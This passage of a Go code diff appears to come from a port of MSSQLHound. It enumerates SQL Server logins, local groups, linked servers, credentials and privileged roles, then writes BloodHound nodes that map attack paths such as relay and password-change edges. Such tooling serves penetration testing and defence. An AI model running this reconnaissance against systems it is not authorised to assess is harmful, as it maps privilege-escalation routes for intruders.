+ if idx := strings.Index(serverHostname, "."); idx > 0 {
+ serverHostname = serverHostname[:idx] // Get just the hostname, not FQDN
+ }
+ serverHostnameUpper := strings.ToUpper(serverHostname)
+
+ for i := range serverInfo.ServerPrincipals {
+ principal := &serverInfo.ServerPrincipals[i]
+
+ // Check if this is a local Windows group
+ if principal.TypeDescription != "WINDOWS_GROUP" {
+ continue
+ }
+
+ isLocalGroup := false
+ localGroupName := ""
+
+ // Check for BUILTIN groups (e.g., BUILTIN\Administrators)
+ if strings.HasPrefix(strings.ToUpper(principal.Name), "BUILTIN\\") {
+ isLocalGroup = true
+ parts := strings.SplitN(principal.Name, "\\", 2)
+ if len(parts) == 2 {
+ localGroupName = parts[1]
+ }
+ } else if strings.Contains(principal.Name, "\\") {
+ // Check for computer-specific local groups (e.g., SERVERNAME\Administrators)
+ parts := strings.SplitN(principal.Name, "\\", 2)
+ if len(parts) == 2 && strings.ToUpper(parts[0]) == serverHostnameUpper {
+ isLocalGroup = true
+ localGroupName = parts[1]
+ }
+ }
+
+ if !isLocalGroup || localGroupName == "" {
+ continue
+ }
+
+ // Enumerate members using WMI
+ members := wmi.GetLocalGroupMembersWithFallback(serverHostname, localGroupName, c.config.Verbose)
+
+ // Convert to LocalGroupMember and resolve SIDs
+ var localMembers []types.LocalGroupMember
+ for _, member := range members {
+ lm := types.LocalGroupMember{
+ Domain: member.Domain,
+ Name: member.Name,
+ }
+
+ // Try to resolve SID
+ fullName := fmt.Sprintf("%s\\%s", member.Domain, member.Name)
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveAccountSIDWindows(fullName)
+ if err == nil && sid != "" {
+ lm.SID = sid
+ }
+ }
+
+ // Fall back to LDAP if Windows API didn't work and we have a domain
+ if lm.SID == "" && c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ resolved, err := adClient.ResolveName(fullName)
+ adClient.Close()
+ if err == nil && resolved.SID != "" {
+ lm.SID = resolved.SID
+ }
+ }
+
+ localMembers = append(localMembers, lm)
+ }
+
+ // Store in server info
+ serverInfo.LocalGroupsWithLogins[principal.ObjectIdentifier] = &types.LocalGroupInfo{
+ Principal: principal,
+ Members: localMembers,
+ }
+ }
+}
+
+// generateOutput creates the BloodHound JSON output for a server
+func (c *Collector) generateOutput(serverInfo *types.ServerInfo, outputFile string) error {
+ writer, err := bloodhound.NewStreamingWriter(outputFile)
+ if err != nil {
+ return err
+ }
+ defer writer.Close()
+
+ // Create server node
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ return err
+ }
+
+ // Create linked server nodes (matching PowerShell behavior)
+ // If a linked server resolves to the same ObjectIdentifier as the primary server,
+ // merge the linked server properties into the server node instead of creating a duplicate.
+ createdLinkedServerNodes := make(map[string]bool)
+ for _, linkedServer := range serverInfo.LinkedServers {
+ if linkedServer.DataSource == "" || linkedServer.ResolvedObjectIdentifier == "" {
+ continue
+ }
+ if createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] {
+ continue
+ }
+
+ // If this linked server target is the primary server itself, skip creating a
+ // separate node — the properties were already merged into the server node above.
+ if linkedServer.ResolvedObjectIdentifier == serverInfo.ObjectIdentifier {
+ createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true
+ continue
+ }
+
+ // Extract server name from data source (e.g., "SERVER\INSTANCE,1433" -> "SERVER")
+ linkedServerName := linkedServer.DataSource
+ if idx := strings.IndexAny(linkedServerName, "\\,:"); idx > 0 {
+ linkedServerName = linkedServerName[:idx]
+ }
+
+ linkedNode := &bloodhound.Node{
+ Kinds: []string{bloodhound.NodeKinds.Server},
+ ID: linkedServer.ResolvedObjectIdentifier,
+ Properties: make(map[string]interface{}),
+ }
+ linkedNode.Properties["name"] = linkedServerName
+ linkedNode.Properties["hasLinksFromServers"] = []string{serverInfo.ObjectIdentifier}
+ linkedNode.Properties["isLinkedServerTarget"] = true
+ linkedNode.Icon = &bloodhound.Icon{
+ Type: "font-awesome",
+ Name: "server",
+ Color: "#42b9f5",
+ }
+
+ if err := writer.WriteNode(linkedNode); err != nil {
+ return err
+ }
+ createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true
+ }
+
+ // Pre-compute databaseUsers for each login (matching PowerShell behavior).
+ // Maps login ObjectIdentifier -> list of "userName@databaseName" strings.
+ loginDatabaseUsers := make(map[string][]string)
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.ServerLogin != nil && principal.ServerLogin.ObjectIdentifier != "" {
+ entry := fmt.Sprintf("%s@%s", principal.Name, db.Name)
+ loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier] = append(
+ loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier], entry)
+ }
+ }
+ }
+
+ // Create server principal nodes
+ for _, principal := range serverInfo.ServerPrincipals {
+ node := c.createServerPrincipalNode(&principal, serverInfo, loginDatabaseUsers)
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ }
+
+ // Create database and database principal nodes
+ for _, db := range serverInfo.Databases {
+ dbNode := c.createDatabaseNode(&db, serverInfo)
+ if err := writer.WriteNode(dbNode); err != nil {
+ return err
+ }
+
+ for _, principal := range db.DatabasePrincipals {
+ node := c.createDatabasePrincipalNode(&principal, &db, serverInfo)
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Create AD nodes (User, Group, Computer) if not skipped
+ if !c.config.SkipADNodeCreation {
+ if err := c.createADNodes(writer, serverInfo); err != nil {
+ return err
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ return err
+ }
+
+ // Print grouped summary of skipped ChangePassword edges due to CVE-2025-49758 patch
+ c.skippedChangePasswordMu.Lock()
+ if len(c.skippedChangePasswordEdges) > 0 {
+ // Sort names for consistent output
+ var names []string
+ for name := range c.skippedChangePasswordEdges {
+ names = append(names, name)
+ }
+ sort.Strings(names)
+
+ fmt.Println("Targets have securityadmin role or IMPERSONATE ANY LOGIN permission, but server is patched for CVE-2025-49758 -- Skipping ChangePassword edge for:")
+ for _, name := range names {
+ fmt.Printf(" %s\n", name)
+ }
+ // Clear the map for next server
+ c.skippedChangePasswordEdges = nil
+ }
+ c.skippedChangePasswordMu.Unlock()
+
+ nodes, edges := writer.Stats()
+ fmt.Printf("Wrote %d nodes and %d edges\n", nodes, edges)
+
+ return nil
+}
+
+// createServerNode creates a BloodHound node for the SQL Server
+func (c *Collector) createServerNode(info *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": info.SQLServerName, // Use consistent FQDN:Port format
+ "hostname": info.Hostname,
+ "fqdn": info.FQDN,
+ "sqlServerName": info.ServerName, // Original SQL Server name (may be short name or include instance)
+ "version": info.Version,
+ "versionNumber": info.VersionNumber,
+ "edition": info.Edition,
+ "productLevel": info.ProductLevel,
+ "isClustered": info.IsClustered,
+ "port": info.Port,
+ }
+
+ // Add instance name
+ if info.InstanceName != "" {
+ props["instanceName"] = info.InstanceName
+ }
+
+ // Add security-relevant properties
+ props["isMixedModeAuthEnabled"] = info.IsMixedModeAuth
+ if info.ForceEncryption != "" {
+ props["forceEncryption"] = info.ForceEncryption
+ }
+ if info.StrictEncryption != "" {
+ props["strictEncryption"] = info.StrictEncryption
+ }
+ if info.ExtendedProtection != "" {
+ props["extendedProtection"] = info.ExtendedProtection
+ }
+
+ // Add SPNs
+ if len(info.SPNs) > 0 {
+ props["servicePrincipalNames"] = info.SPNs
+ }
+
+ // Add service account name (first service account, matching PowerShell behavior).
+ // PS strips the domain prefix via Resolve-DomainPrincipal which returns bare SAMAccountName.
+ if len(info.ServiceAccounts) > 0 {
+ saName := info.ServiceAccounts[0].Name
+ if idx := strings.Index(saName, "\\"); idx != -1 {
+ saName = saName[idx+1:]
+ }
+ props["serviceAccount"] = saName
+ }
+
+ // Add database names
+ if len(info.Databases) > 0 {
+ dbNames := make([]string, len(info.Databases))
+ for i, db := range info.Databases {
+ dbNames[i] = db.Name
+ }
+ props["databases"] = dbNames
+ }
+
+ // Add linked server names
+ if len(info.LinkedServers) > 0 {
+ linkedNames := make([]string, len(info.LinkedServers))
+ for i, ls := range info.LinkedServers {
+ linkedNames[i] = ls.Name
+ }
+ props["linkedToServers"] = linkedNames
+ }
+
+ // Check if any linked servers resolve back to this server (self-reference).
+ // If so, merge the linked server target properties into this node to avoid
+ // creating a duplicate node with the same ObjectIdentifier.
+ hasLinksFromServers := []string{}
+ for _, ls := range info.LinkedServers {
+ if ls.ResolvedObjectIdentifier == info.ObjectIdentifier && ls.DataSource != "" {
+ hasLinksFromServers = append(hasLinksFromServers, info.ObjectIdentifier)
+ break
+ }
+ }
+ if len(hasLinksFromServers) > 0 {
+ props["isLinkedServerTarget"] = true
+ props["hasLinksFromServers"] = hasLinksFromServers
+ }
+
+ // Calculate domain principals with privileged access using effective permission
+ // evaluation (including nested role membership and fixed role implied permissions).
+ // This matches PowerShell's approach where sysadmin implies CONTROL SERVER.
+ domainPrincipalsWithSysadmin := []string{}
+ domainPrincipalsWithControlServer := []string{}
+ domainPrincipalsWithSecurityadmin := []string{}
+ domainPrincipalsWithImpersonateAnyLogin := []string{}
+
+ for _, principal := range info.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.IsDisabled {
+ continue
+ }
+
+ // Only include principals with domain SIDs (S-1-5-21--...)
+ // This filters out BUILTIN, NT AUTHORITY, NT SERVICE accounts
+ if info.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, info.DomainSID+"-") {
+ continue
+ }
+
+ // Use effective permission/role checks (including nested roles and fixed role implied permissions)
+ if c.hasNestedRoleMembership(principal, "sysadmin", info) {
+ domainPrincipalsWithSysadmin = append(domainPrincipalsWithSysadmin, principal.ObjectIdentifier)
+ }
+ if c.hasNestedRoleMembership(principal, "securityadmin", info) {
+ domainPrincipalsWithSecurityadmin = append(domainPrincipalsWithSecurityadmin, principal.ObjectIdentifier)
+ }
+ if c.hasEffectivePermission(principal, "CONTROL SERVER", info) {
+ domainPrincipalsWithControlServer = append(domainPrincipalsWithControlServer, principal.ObjectIdentifier)
+ }
+ if c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", info) {
+ domainPrincipalsWithImpersonateAnyLogin = append(domainPrincipalsWithImpersonateAnyLogin, principal.ObjectIdentifier)
+ }
+ }
+
+ props["domainPrincipalsWithSysadmin"] = domainPrincipalsWithSysadmin
+ props["domainPrincipalsWithControlServer"] = domainPrincipalsWithControlServer
+ props["domainPrincipalsWithSecurityadmin"] = domainPrincipalsWithSecurityadmin
+ props["domainPrincipalsWithImpersonateAnyLogin"] = domainPrincipalsWithImpersonateAnyLogin
+ props["isAnyDomainPrincipalSysadmin"] = len(domainPrincipalsWithSysadmin) > 0
+
+ return &bloodhound.Node{
+ ID: info.ObjectIdentifier,
+ Kinds: []string{bloodhound.NodeKinds.Server},
+ Properties: props,
+ Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Server]),
+ }
+}
+
+// createServerPrincipalNode creates a BloodHound node for a server principal
+func (c *Collector) createServerPrincipalNode(principal *types.ServerPrincipal, serverInfo *types.ServerInfo, loginDatabaseUsers map[string][]string) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": principal.Name,
+ "principalId": principal.PrincipalID,
+ "createDate": principal.CreateDate.Format(time.RFC3339),
+ "modifyDate": principal.ModifyDate.Format(time.RFC3339),
+ "SQLServer": principal.SQLServerName,
+ }
+
+ var kinds []string
+ var icon *bloodhound.Icon
+
+ switch principal.TypeDescription {
+ case "SERVER_ROLE":
+ kinds = []string{bloodhound.NodeKinds.ServerRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ServerRole])
+ props["isFixedRole"] = principal.IsFixedRole
+ if len(principal.Members) > 0 {
+ props["members"] = principal.Members
+ }
+ default:
+ // Logins (SQL_LOGIN, WINDOWS_LOGIN, WINDOWS_GROUP, etc.)
+ kinds = []string{bloodhound.NodeKinds.Login}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Login])
+ props["type"] = principal.TypeDescription
+ props["disabled"] = principal.IsDisabled
+ props["defaultDatabase"] = principal.DefaultDatabaseName
+ props["isActiveDirectoryPrincipal"] = principal.IsActiveDirectoryPrincipal
+
+ if principal.SecurityIdentifier != "" {
+ props["activeDirectorySID"] = principal.SecurityIdentifier
+ // Resolve SID to NTAccount-style name (matching PowerShell's activeDirectoryPrincipal)
+ if principal.IsActiveDirectoryPrincipal {
+ props["activeDirectoryPrincipal"] = principal.Name
+ }
+ }
+
+ // Add databaseUsers list (matching PowerShell behavior)
+ if dbUsers, ok := loginDatabaseUsers[principal.ObjectIdentifier]; ok && len(dbUsers) > 0 {
+ props["databaseUsers"] = dbUsers
+ }
+ }
+
+ // Add role memberships
+ if len(principal.MemberOf) > 0 {
+ roleNames := make([]string, len(principal.MemberOf))
+ for i, m := range principal.MemberOf {
+ roleNames[i] = m.Name
+ }
+ props["memberOfRoles"] = roleNames
+ }
+
+ // Add explicit permissions
+ if len(principal.Permissions) > 0 {
+ perms := make([]string, len(principal.Permissions))
+ for i, p := range principal.Permissions {
+ perms[i] = p.Permission
+ }
+ props["explicitPermissions"] = perms
+ }
+
+ return &bloodhound.Node{
+ ID: principal.ObjectIdentifier,
+ Kinds: kinds,
+ Properties: props,
+ Icon: icon,
+ }
+}
+
+// createDatabaseNode creates a BloodHound node for a database
+func (c *Collector) createDatabaseNode(db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": db.Name,
+ "databaseId": db.DatabaseID,
+ "createDate": db.CreateDate.Format(time.RFC3339),
+ "compatibilityLevel": db.CompatibilityLevel,
+ "isReadOnly": db.IsReadOnly,
+ "isTrustworthy": db.IsTrustworthy,
+ "isEncrypted": db.IsEncrypted,
+ "SQLServer": db.SQLServerName,
+ "SQLServerID": serverInfo.ObjectIdentifier,
+ }
+
+ if db.OwnerLoginName != "" {
+ props["ownerLoginName"] = db.OwnerLoginName
+ }
+ if db.OwnerPrincipalID != 0 {
+ props["ownerPrincipalID"] = fmt.Sprintf("%d", db.OwnerPrincipalID)
+ }
+ if db.OwnerObjectIdentifier != "" {
+ props["OwnerObjectIdentifier"] = db.OwnerObjectIdentifier
+ }
+ if db.CollationName != "" {
+ props["collationName"] = db.CollationName
+ }
+
+ return &bloodhound.Node{
+ ID: db.ObjectIdentifier,
+ Kinds: []string{bloodhound.NodeKinds.Database},
+ Properties: props,
+ Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Database]),
+ }
+}
+
+// createDatabasePrincipalNode creates a BloodHound node for a database principal
+func (c *Collector) createDatabasePrincipalNode(principal *types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node {
+ props := map[string]interface{}{
+ "name": fmt.Sprintf("%s@%s", principal.Name, db.Name), // Match PowerShell format: Name@DatabaseName
+ "principalId": principal.PrincipalID,
+ "createDate": principal.CreateDate.Format(time.RFC3339),
+ "modifyDate": principal.ModifyDate.Format(time.RFC3339),
+ "database": principal.DatabaseName, // Match PowerShell property name
+ "SQLServer": principal.SQLServerName,
+ }
+
+ var kinds []string
+ var icon *bloodhound.Icon
+
+ // Add defaultSchema for all database principal types (matching PowerShell behavior)
+ if principal.DefaultSchemaName != "" {
+ props["defaultSchema"] = principal.DefaultSchemaName
+ }
+
+ switch principal.TypeDescription {
+ case "DATABASE_ROLE":
+ kinds = []string{bloodhound.NodeKinds.DatabaseRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseRole])
+ props["isFixedRole"] = principal.IsFixedRole
+ if len(principal.Members) > 0 {
+ props["members"] = principal.Members
+ }
+ case "APPLICATION_ROLE":
+ kinds = []string{bloodhound.NodeKinds.ApplicationRole}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ApplicationRole])
+ default:
+ // Database users
+ kinds = []string{bloodhound.NodeKinds.DatabaseUser}
+ icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseUser])
+ props["type"] = principal.TypeDescription
+ if principal.ServerLogin != nil {
+ props["serverLogin"] = principal.ServerLogin.Name
+ }
+ }
+
+ // Add role memberships
+ if len(principal.MemberOf) > 0 {
+ roleNames := make([]string, len(principal.MemberOf))
+ for i, m := range principal.MemberOf {
+ roleNames[i] = m.Name
+ }
+ props["memberOfRoles"] = roleNames
+ }
+
+ // Add explicit permissions
+ if len(principal.Permissions) > 0 {
+ perms := make([]string, len(principal.Permissions))
+ for i, p := range principal.Permissions {
+ perms[i] = p.Permission
+ }
+ props["explicitPermissions"] = perms
+ }
+
+ return &bloodhound.Node{
+ ID: principal.ObjectIdentifier,
+ Kinds: kinds,
+ Properties: props,
+ Icon: icon,
+ }
+}
+
+// createADNodes creates BloodHound nodes for Active Directory principals referenced by SQL logins
+func (c *Collector) createADNodes(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ createdNodes := make(map[string]bool)
+
+ // Create Computer node for the server's host computer (matching PowerShell behavior)
+ if serverInfo.ComputerSID != "" {
+ // Build display name with domain
+ displayName := serverInfo.Hostname
+ if c.config.Domain != "" && !strings.Contains(displayName, "@") {
+ displayName = serverInfo.Hostname + "@" + c.config.Domain
+ }
+
+ // Build SAMAccountName (hostname$)
+ hostname := serverInfo.Hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ hostname = hostname[:idx] // Extract short hostname from FQDN
+ }
+ samAccountName := strings.ToUpper(hostname) + "$"
+
+ node := &bloodhound.Node{
+ ID: serverInfo.ComputerSID,
+ Kinds: []string{bloodhound.NodeKinds.Computer, "Base"},
+ Properties: map[string]interface{}{
+ "name": displayName,
+ "DNSHostName": serverInfo.FQDN,
+ "domain": c.config.Domain,
+ "isDomainPrincipal": true,
+ "SID": serverInfo.ComputerSID,
+ "SAMAccountName": samAccountName,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[serverInfo.ComputerSID] = true
+ }
+
+ // Track if we need to create Authenticated Users node for CoerceAndRelayToMSSQL
+ needsAuthUsersNode := false
+
+ // Check for computer accounts with EPA disabled (CoerceAndRelayToMSSQL condition)
+ if serverInfo.ExtendedProtection == "Off" {
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.IsActiveDirectoryPrincipal &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ strings.HasSuffix(principal.Name, "$") &&
+ !principal.IsDisabled {
+ needsAuthUsersNode = true
+ break
+ }
+ }
+ }
+
+ // Create Authenticated Users node if needed
+ if needsAuthUsersNode {
+ authedUsersSID := "S-1-5-11"
+ if c.config.Domain != "" {
+ authedUsersSID = c.config.Domain + "-S-1-5-11"
+ }
+
+ if !createdNodes[authedUsersSID] {
+ node := &bloodhound.Node{
+ ID: authedUsersSID,
+ Kinds: []string{bloodhound.NodeKinds.Group, "Base"},
+ Properties: map[string]interface{}{
+ "name": "AUTHENTICATED USERS@" + c.config.Domain,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[authedUsersSID] = true
+ }
+ }
+
+ // Resolve domain login SIDs via LDAP for AD enrichment (matching PowerShell behavior).
+ // This provides properties like SAMAccountName, distinguishedName, DNSHostName, etc.
+ resolvedPrincipals := make(map[string]*types.DomainPrincipal)
+ if c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+ if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") {
+ continue
+ }
+ if _, already := resolvedPrincipals[principal.SecurityIdentifier]; already {
+ continue
+ }
+ resolved, err := adClient.ResolveSID(principal.SecurityIdentifier)
+ if err == nil && resolved != nil {
+ resolvedPrincipals[principal.SecurityIdentifier] = resolved
+ }
+ }
+ adClient.Close()
+ }
+
+ // Create nodes for domain principals with SQL logins
+ for _, principal := range serverInfo.ServerPrincipals {
+ if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Only process SIDs from the domain, skip NT AUTHORITY, NT SERVICE, and local accounts
+ // The DomainSID (e.g., S-1-5-21-462691900-2967613020-3702357964) identifies domain principals
+ if serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-") {
+ continue
+ }
+
+ // Skip disabled logins and those without CONNECT SQL
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ // Also check if member of sysadmin or securityadmin (they have implicit CONNECT SQL)
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // Skip if already created
+ if createdNodes[principal.SecurityIdentifier] {
+ continue
+ }
+
+ // Determine the node kind based on the principal name
+ var kinds []string
+ if strings.HasSuffix(principal.Name, "$") {
+ kinds = []string{bloodhound.NodeKinds.Computer, "Base"}
+ } else if strings.Contains(principal.TypeDescription, "GROUP") {
+ kinds = []string{bloodhound.NodeKinds.Group, "Base"}
+ } else {
+ kinds = []string{bloodhound.NodeKinds.User, "Base"}
+ }
+
+ // Build the display name with domain
+ displayName := principal.Name
+ if c.config.Domain != "" && !strings.Contains(displayName, "@") {
+ displayName = principal.Name + "@" + c.config.Domain
+ }
+
+ nodeProps := map[string]interface{}{
+ "name": displayName,
+ "isDomainPrincipal": true,
+ "SID": principal.SecurityIdentifier,
+ }
+
+ // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior)
+ if resolved, ok := resolvedPrincipals[principal.SecurityIdentifier]; ok {
+ nodeProps["SAMAccountName"] = resolved.SAMAccountName
+ nodeProps["domain"] = resolved.Domain
+ nodeProps["isEnabled"] = resolved.Enabled
+ if resolved.DistinguishedName != "" {
+ nodeProps["distinguishedName"] = resolved.DistinguishedName
+ }
+ if resolved.DNSHostName != "" {
+ nodeProps["DNSHostName"] = resolved.DNSHostName
+ }
+ if resolved.UserPrincipalName != "" {
+ nodeProps["userPrincipalName"] = resolved.UserPrincipalName
+ }
+ }
+
+ node := &bloodhound.Node{
+ ID: principal.SecurityIdentifier,
+ Kinds: kinds,
+ Properties: nodeProps,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[principal.SecurityIdentifier] = true
+ }
+
+ // Create nodes for local groups with SQL logins
+ // This handles both BUILTIN groups (S-1-5-32-*) and machine-local groups
+ // (S-1-5-21-* SIDs that don't match the domain SID, e.g. ConfigMgr_DViewAccess)
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.SecurityIdentifier == "" {
+ continue
+ }
+
+ // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups
+ // Machine-local groups have S-1-5-21-* SIDs belonging to the machine, not the domain
+ isLocalGroup := false
+ if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") {
+ isLocalGroup = true
+ } else if principal.TypeDescription == "WINDOWS_GROUP" &&
+ strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") &&
+ (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) {
+ isLocalGroup = true
+ }
+ if !isLocalGroup {
+ continue
+ }
+
+ // Skip disabled logins
+ if principal.IsDisabled {
+ continue
+ }
+
+ // Check if has CONNECT SQL permission
+ hasConnectSQL := false
+ for _, perm := range principal.Permissions {
+ if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") {
+ hasConnectSQL = true
+ break
+ }
+ }
+ if !hasConnectSQL {
+ for _, membership := range principal.MemberOf {
+ if membership.Name == "sysadmin" || membership.Name == "securityadmin" {
+ hasConnectSQL = true
+ break
+ }
+ }
+ }
+ if !hasConnectSQL {
+ continue
+ }
+
+ // ObjectID format: {serverFQDN}-{SID}
+ groupObjectID := serverInfo.Hostname + "-" + principal.SecurityIdentifier
+
+ // Skip if already created
+ if createdNodes[groupObjectID] {
+ continue
+ }
+
+ node := &bloodhound.Node{
+ ID: groupObjectID,
+ Kinds: []string{bloodhound.NodeKinds.Group, "Base"},
+ Properties: map[string]interface{}{
+ "name": principal.Name,
+ "isActiveDirectoryPrincipal": principal.IsActiveDirectoryPrincipal,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[groupObjectID] = true
+ }
+
+ // Create nodes for service accounts
+ for _, sa := range serverInfo.ServiceAccounts {
+ saID := sa.SID
+ if saID == "" {
+ saID = sa.ObjectIdentifier
+ }
+ if saID == "" || createdNodes[saID] {
+ continue
+ }
+
+ // Skip if not a domain SID
+ if !strings.HasPrefix(saID, "S-1-5-21-") {
+ continue
+ }
+
+ // Determine kind based on account name
+ var kinds []string
+ if strings.HasSuffix(sa.Name, "$") {
+ kinds = []string{bloodhound.NodeKinds.Computer, "Base"}
+ } else {
+ kinds = []string{bloodhound.NodeKinds.User, "Base"}
+ }
+
+ // Format display name to match PowerShell behavior:
+ // PS uses Resolve-DomainPrincipal which returns UserPrincipalName, DNSHostName,
+ // or SAMAccountName (in that priority order). For user accounts without UPN,
+ // this is just the bare account name (e.g., "sccmsqlsvc" not "DOMAIN\sccmsqlsvc").
+ // For computer accounts, resolveServiceAccountSIDsViaLDAP already sets Name to FQDN.
+ displayName := sa.Name
+ if idx := strings.Index(displayName, "\\"); idx != -1 {
+ displayName = displayName[idx+1:]
+ }
+
+ nodeProps := map[string]interface{}{
+ "name": displayName,
+ }
+
+ // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior)
+ if sa.ResolvedPrincipal != nil {
+ nodeProps["isDomainPrincipal"] = true
+ nodeProps["SID"] = sa.ResolvedPrincipal.SID
+ nodeProps["SAMAccountName"] = sa.ResolvedPrincipal.SAMAccountName
+ nodeProps["domain"] = sa.ResolvedPrincipal.Domain
+ nodeProps["isEnabled"] = sa.ResolvedPrincipal.Enabled
+ if sa.ResolvedPrincipal.DistinguishedName != "" {
+ nodeProps["distinguishedName"] = sa.ResolvedPrincipal.DistinguishedName
+ }
+ if sa.ResolvedPrincipal.DNSHostName != "" {
+ nodeProps["DNSHostName"] = sa.ResolvedPrincipal.DNSHostName
+ }
+ if sa.ResolvedPrincipal.UserPrincipalName != "" {
+ nodeProps["userPrincipalName"] = sa.ResolvedPrincipal.UserPrincipalName
+ }
+ }
+
+ node := &bloodhound.Node{
+ ID: saID,
+ Kinds: kinds,
+ Properties: nodeProps,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[saID] = true
+ }
+
+ // Create nodes for credential targets (HasMappedCred, HasDBScopedCred, HasProxyCred)
+ // This matches PowerShell's credential Base node creation at MSSQLHound.ps1:8958-9018
+ credentialNodeKind := func(objectClass string) string {
+ switch objectClass {
+ case "computer":
+ return bloodhound.NodeKinds.Computer
+ case "group":
+ return bloodhound.NodeKinds.Group
+ default:
+ return bloodhound.NodeKinds.User
+ }
+ }
+
+ writeCredentialNode := func(sid string, principal *types.DomainPrincipal) error {
+ if sid == "" || createdNodes[sid] {
+ return nil
+ }
+ kind := credentialNodeKind(principal.ObjectClass)
+ props := map[string]interface{}{
+ "name": principal.Name,
+ "domain": principal.Domain,
+ "isDomainPrincipal": true,
+ "SID": principal.SID,
+ "SAMAccountName": principal.SAMAccountName,
+ "isEnabled": principal.Enabled,
+ }
+ if principal.DistinguishedName != "" {
+ props["distinguishedName"] = principal.DistinguishedName
+ }
+ if principal.DNSHostName != "" {
+ props["DNSHostName"] = principal.DNSHostName
+ }
+ if principal.UserPrincipalName != "" {
+ props["userPrincipalName"] = principal.UserPrincipalName
+ }
+ node := &bloodhound.Node{
+ ID: sid,
+ Kinds: []string{kind, "Base"},
+ Properties: props,
+ }
+ if err := writer.WriteNode(node); err != nil {
+ return err
+ }
+ createdNodes[sid] = true
+ return nil
+ }
+
+ // Server-level credentials
+ for _, cred := range serverInfo.Credentials {
+ if cred.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Database-scoped credentials
+ for _, db := range serverInfo.Databases {
+ for _, cred := range db.DBScopedCredentials {
+ if cred.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(cred.ResolvedSID, cred.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+ }
+
+ // Proxy account credentials
+ for _, proxy := range serverInfo.ProxyAccounts {
+ if proxy.ResolvedPrincipal != nil {
+ if err := writeCredentialNode(proxy.ResolvedSID, proxy.ResolvedPrincipal); err != nil {
+ return err
+ }
+ }
+ }
+
+ return nil
+}
+
+// createEdges creates all edges for the server
+func (c *Collector) createEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ // =========================================================================
+ // CONTAINS EDGES
+ // =========================================================================
+
+ // Server contains databases
